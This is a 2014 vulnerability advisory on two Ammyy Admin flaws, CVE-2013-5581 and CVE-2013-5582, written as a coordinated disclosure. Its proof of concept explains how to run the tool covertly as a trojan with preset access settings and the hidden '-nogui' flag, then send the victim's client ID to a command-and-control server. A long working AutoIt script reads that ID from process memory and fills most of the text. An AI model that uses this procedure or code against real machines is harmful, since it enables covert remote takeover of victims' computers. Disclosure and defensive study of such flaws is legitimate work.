Title:

Ammyy Admin - Hidden hard-coded option and Access Control vulnerability.

Credit:

Name: Bhadresh Patel
Company/affiliation: Cyberoam Technologies Private Limited
Website: www.cyberoam.com

CVE:

• CVE-2013-5581 for hidden hard-coded option (CWE-255).
• CVE-2013-5582 for failure to enforce access restrictions for resources (CWE-264).

Date:

17-01-2014

CL-ID:

CRD-2013-04

Vendor:

Ammyy is in to developing cutting edge internet solutions. They have researched informational technologies and automation management of remote computer access services for many years. The result of their efforts is new Remote Access system "Ammyy Admin".

Product:

Ammyy Admin is the easiest way to establish remote desktop connection. You can easily share a remote desktop or control a server over the Internet with Ammyy Admin.
No matter where you are, Ammyy Admin makes it safe and easy to quickly access a remote desktop within a few seconds.
Ammyy Admin is trusted by more than 21 000 000 personal and corporate users.
Product link: http://www.ammyy.com/en/downloads.html

Abstract:

Cyberoam Threat Research Labs discovered Hidden option and Access Control vulnerability in Ammyy Admin tool.

Report-Timeline (DD-MM-YYYY):

12-08-2013: Vendor notification
13-08-2013: Vendor Response/Feedback
13-12-2013: Vendor Fix/Patch
17-01-2014: Public or Non-Public Disclosure

Affected Version:

Version (<=3.2)

Exploitation-Technique:

Local

Severity Rating:

CVSS Base Score 7.2 (AV:N/AC:M/Au:N/C:N/I:N/A:P)

Details:

There is a Hidden option and Access Control vulnerability in Ammyy Admin tool which allows an attacker to utilize "Ammyy Admin tool" as a trojan horse to access computer without victim's information.
An approach to have hidden option "-nogui" along with storing "client ID" at fixed memory location could be exploited by an attacker to use "Ammyy Admin" as a trojan horse.

Proof Of Concept:

An attacker could exploit above vulnerabilities using following steps,

1) Create custom settings.rdp and settings3.bin to allow access to any "computer ID" with predefined password.
2) Use hidden option "-nogui" to run "Ammyy Amin" without the user information.
2) Acquire the client id by reading memory location "004A3658".
3) Send client id to attackers C&C server.

-------- Logs -------

Hidden hard-coded option (CVE-2013-5581)

root@bhdresh:~# strings AA_v3.2.exe | grep -i ^"-"
-f=*

• 5H
  -connect
  -set_proxy_
  -dosas_
  -elevated
  -log
  -lunch
  -nogui
  -service
  -debug
  -remove
  -install
  -outid
  -setsettings
  -rstid
  -showversion
  -notstartclient
  -startclient
  -minimize
  -+/3

client ID at Fixed memory location (CVE-2013-5582)

=======PoC screenshot=======

http://oi42.tinypic.com/34owtoy.jpg

=======PoC autoit code to hijack client ID=======

Func _memoryopen($iv_pid, $iv_desiredaccess = 2035711, $iv_inherithandle = 1)
If NOT ProcessExists($iv_pid) Then
SetError(1)
Return 0
EndIf
Local $ah_handle[2] = [DllOpen("kernel32.dll")]
If @error Then
SetError(2)
Return 0
EndIf
Local $av_openprocess = DllCall($ah_handle[0], "int", "OpenProcess", "int", $iv_desiredaccess, "int", $iv_inherithandle, "int", $iv_pid)
If @error Then
DllClose($ah_handle[0])
SetError(3)
Return 0
EndIf
$ah_handle[1] = $av_openprocess[0]
Return $ah_handle
EndFunc

Func _memoryread($iv_address, $ah_handle, $sv_type = "dword")
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
Local $v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Local $v_value = DllStructGetData($v_buffer, 1)
Return $v_value
Else
SetError(6)
Return 0
EndIf
EndFunc

Func _memorywrite($iv_address, $ah_handle, $v_data, $sv_type = "dword")
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
Local $v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 1)
Return 0
Else
DllStructSetData($v_buffer, 1, $v_data)
If @error Then
SetError(6)
Return 0
EndIf
EndIf
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Return 1
Else
SetError(7)
Return 0
EndIf
EndFunc

Func _memoryclose($ah_handle)
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "CloseHandle", "int", $ah_handle[1])
If NOT @error Then
DllClose($ah_handle[0])
Return 1
Else
DllClose($ah_handle[0])
SetError(2)
Return 0
EndIf
EndFunc

Func setprivilege($privilege, $benable)
Const $token_adjust_privileges = 32
Const $token_query = 8
Const $se_privilege_enabled = 2
Local $htoken, $sp_auxret, $sp_ret, $hcurrprocess, $ntokens, $ntokenindex, $priv
$ntokens = 1
$luid = DllStructCreate("dword;int")
If IsArray($privilege) Then $ntokens = UBound($privilege)
$token_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
$newtoken_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
$hcurrprocess = DllCall("kernel32.dll", "hwnd", "GetCurrentProcess")
$sp_auxret = DllCall("advapi32.dll", "int", "OpenProcessToken", "hwnd", $hcurrprocess[0], "int", BitOR($token_adjust_privileges, $token_query), "int*", 0)
If $sp_auxret[0] Then
$htoken = $sp_auxret[3]
DllStructSetData($token_privileges, 1, 1)
$ntokenindex = 1
While $ntokenindex <= $ntokens
If IsArray($privilege) Then
$priv = $privilege[$ntokenindex - 1]
Else
$priv = $privilege
EndIf
$ret = DllCall("advapi32.dll", "int", "LookupPrivilegeValue", "str", "", "str", $priv, "ptr", DllStructGetPtr($luid))
If $ret[0] Then
If $benable Then
DllStructSetData($token_privileges, 2, $se_privilege_enabled, (3 * $ntokenindex))
Else
DllStructSetData($token_privileges, 2, 0, (3 * $ntokenindex))
EndIf
DllStructSetData($token_privileges, 2, DllStructGetData($luid, 1), (3 * ($ntokenindex - 1)) + 1)
DllStructSetData($token_privileges, 2, DllStructGetData($luid, 2), (3 * ($ntokenindex - 1)) + 2)
DllStructSetData($luid, 1, 0)
DllStructSetData($luid, 2, 0)
EndIf
$ntokenindex += 1
WEnd
$ret = DllCall("advapi32.dll", "int", "AdjustTokenPrivileges", "hwnd", $htoken, "int", 0, "ptr", DllStructGetPtr($token_privileges), "int", DllStructGetSize($newtoken_privileges), "ptr", DllStructGetPtr($newtoken_privileges), "int*", 0)
$f = DllCall("kernel32.dll", "int", "GetLastError")
EndIf
$newtoken_privileges = 0
$token_privileges = 0
$luid = 0
If $sp_auxret[0] = 0 Then Return 0
$sp_auxret = DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $htoken)
If NOT $ret[0] AND NOT $sp_auxret[0] Then Return 0
Return $ret[0]
EndFunc

Func _memorypointerread($iv_address, $ah_handle, $av_offset, $sv_type = "dword")
If IsArray($av_offset) Then
If IsArray($ah_handle) Then
Local $iv_pointercount = UBound($av_offset) - 1
Else
SetError(2)
Return 0
EndIf
Else
SetError(1)
Return 0
EndIf
Local $iv_data[2], $i
Local $v_buffer = DllStructCreate("dword")
For $i = 0 To $iv_pointercount
If $i = $iv_pointercount Then
$v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 2)
Return 0
EndIf
$iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
ElseIf $i = 0 Then
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
Else
$iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
EndIf
Next
$iv_data[0] = $iv_address
Return $iv_data
EndFunc

Func _memorypointerwrite($iv_address, $ah_handle, $av_offset, $v_data, $sv_type = "dword")
If IsArray($av_offset) Then
If IsArray($ah_handle) Then
Local $iv_pointercount = UBound($av_offset) - 1
Else
SetError(2)
Return 0
EndIf
Else
SetError(1)
Return 0
EndIf
Local $iv_structdata, $i
Local $v_buffer = DllStructCreate("dword")
For $i = 0 To $iv_pointercount
If $i = $iv_pointercount Then
$v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 3)
Return 0
EndIf
DllStructSetData($v_buffer, 1, $v_data)
If @error Then
SetError(8)
Return 0
EndIf
$iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(9)
Return 0
Else
Return $iv_address
EndIf
ElseIf $i = 0 Then
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(3)
Return 0
EndIf
$iv_structdata = DllStructGetData($v_buffer, 1)
Else
$iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(3)
Return 0
EndIf
$iv_structdata = DllStructGetData($v_buffer, 1)
EndIf
Next
EndFunc

Func _memorygetbaseaddress($ah_handle, $ihexdec = 0)
Local $iv_address = 1048576
Local $v_buffer = DllStructCreate("dword;dword;dword;dword;dword;dword;dword")
Local $vdata
Local $vtype
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
If NOT @error Then
$vdata = Hex(DllStructGetData($v_buffer, 2))
$vtype = Hex(DllStructGetData($v_buffer, 3))
While $vtype <> "00000080"
DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
$vdata = Hex(DllStructGetData($v_buffer, 2))
$vtype = Hex(DllStructGetData($v_buffer, 3))
If Hex($iv_address) = "01000000" Then ExitLoop
$iv_address += 65536
WEnd
If $vtype = "00000080" Then
SetError(0)
If $ihexdec = 1 Then
Return Dec($vdata)
Else
Return $vdata
EndIf
Else
SetError(2)
Return 0
EndIf
Else
SetError(3)
Return 0
EndIf
EndFunc

Func _memorymodulegetbaseaddress($ipid, $smodule)
If NOT ProcessExists($ipid) Then Return SetError(1, 0, 0)
If NOT IsString($smodule) Then Return SetError(2, 0, 0)
Local $psapi = DllOpen("psapi.dll")
Local $hprocess
Local $permission = BitOR(2, 1024, 8, 16, 32)
If $ipid > 0 Then
Local $hprocess = DllCall("kernel32.dll", "ptr", "OpenProcess", "dword", $permission, "int", 0, "dword", $ipid)
If $hprocess[0] Then
$hprocess = $hprocess[0]
EndIf
EndIf
Local $modules = DllStructCreate("ptr[1024]")
Local $acall = DllCall($psapi, "int", "EnumProcessModules", "ptr", $hprocess, "ptr", DllStructGetPtr($modules), "dword", DllStructGetSize($modules), "dword*", 0)
If $acall[4] > 0 Then
Local $imodnum = $acall[4] / 4
Local $atemp
For $i = 1 To $imodnum
$atemp = DllCall($psapi, "dword", "GetModuleBaseNameW", "ptr", $hprocess, "ptr", Ptr(DllStructGetData($modules, 1, $i)), "wstr", "", "dword", 260)
If $atemp[3] = $smodule Then
DllClose($psapi)
Return Ptr(DllStructGetData($modules, 1, $i))
EndIf
Next
EndIf
DllClose($psapi)
Return SetError(-1, 0, 0)
EndFunc

#EndRegion

Func _memreaddll($dll, $offset, $ah_handle, $sv_type = "dword")
$staticoffset = Dec($offset)
$baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
$finaladdr = "0x" & Hex($baseaddr + $staticoffset)
$memtest = _memoryread($finaladdr, $ah_handle, $sv_type)
Return $memtest
EndFunc

Func _memwritedll($dll, $offset, $value, $ah_handle, $sv_type = "dword")
$staticoffset = Dec($offset)
$baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
$finaladdr = "0x" & Hex($baseaddr + $staticoffset)
$memtest = _memorywrite($finaladdr, $ah_handle, $value, $sv_type)
Return $memtest
EndFunc

Func _memwritedllbytearray($dll, $offset, $ah_handle, $v_array)
Local $staticoffset = Dec($offset)
Local $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
Local $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
Local $memtest = _memorywritebytearray($finaladdr, $ah_handle, $v_array)
Return $memtest
EndFunc

Func _memorywritebytearray($iv_address, $ah_handle, $v_array)
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
If NOT IsArray($v_array) Then
Return 0
EndIf
Local $emax = UBound($v_array)
Local $bytestring = ""
For $i = 0 To $emax - 1
$bytestring = $bytestring & "byte;"
Next
Local $v_buffer = DllStructCreate($bytestring)
If @error Then
Return 0
Else
For $i = 1 To $emax
DllStructSetData($v_buffer, $i, $v_array[$i - 1])
If @error Then
Return 0
EndIf
Next
EndIf
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Return 1
Else
SetError(7)
Return 0
EndIf
EndFunc

FileChangeDir(@TempDir)
FileDelete("id")
$id = ProcessExists("AAv3.exe")
Local $file = FileOpen("id", 1)
$memoryopen = _memoryopen($id)
While 1
$mem_read1 = _memoryread("0x" & "004A3658", $memoryopen)
If NOT $mem_read1 = "" Then
MsgBox(0, "Cyberoam Threat Research Labs", $mem_read1)
FileWrite($file, $mem_read1)
ExitLoop
EndIf
Sleep(100)
WEnd
_memoryclose($memoryopen)

==========================================

Caveats / Prerequisites:

The attacker needs to entice victims to perform an action in order to exploit this vulnerability.

Risk:

The security risk of Hidden option and Access Control vulnerability is estimated as High.

Credits:

Cyberoam Threat Research Labs - Bhadresh Patel

Disclaimer:

The information provided in this advisory is provided as it is without any warranty. Any modified copy or reproduction, including partially usages, of this file requires authorization from Cyberoam Threat Research Labs. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Cyberoam Threat Research Labs.

The first attempt at contact will be through any appropriate contacts or formal mechanisms listed on the vendor Web site, or by sending an e-mail with the pertinent information about the vulnerability. Simultaneous with the vendor being notified, Cyberoam may distribute vulnerability protection filters to its customers' IPS devices through the IPS upgrades.
If a vendor fails to respond after five business days, Cyberoam Threat Research Labs may issue a public advisory disclosing its findings fifteen business days after the initial contact.

If a vendor response is received within the timeframe outlined above, Cyberoam Threat Research Labs will allow the vendor 6-months to address the vulnerability with a patch. At the end of the deadline if a vendor is not responsive or unable to provide a reasonable statement as to why the vulnerability is not fixed, the Cyberoam Threat Research Labs will publish a limited advisory to enable the defensive community to protect the user. We believe that by doing so the vendor will understand the responsibility they have to their customers and will react appropriately.
Cyberoam Threat Research Labs will make every effort to work with vendors to ensure they understand the technical details and severity of a reported security flaw. If a product vendor is unable to, or chooses not to, patch a particular security flaw, Cyberoam Threat Research Labs will offer to work with that vendor to publicly disclose the flaw with some effective workarounds.
Before public disclosure of a vulnerability, Cyberoam Threat Research Labs may share technical details of the vulnerability with other security vendors who are in a position to provide a protective response to a broader user base.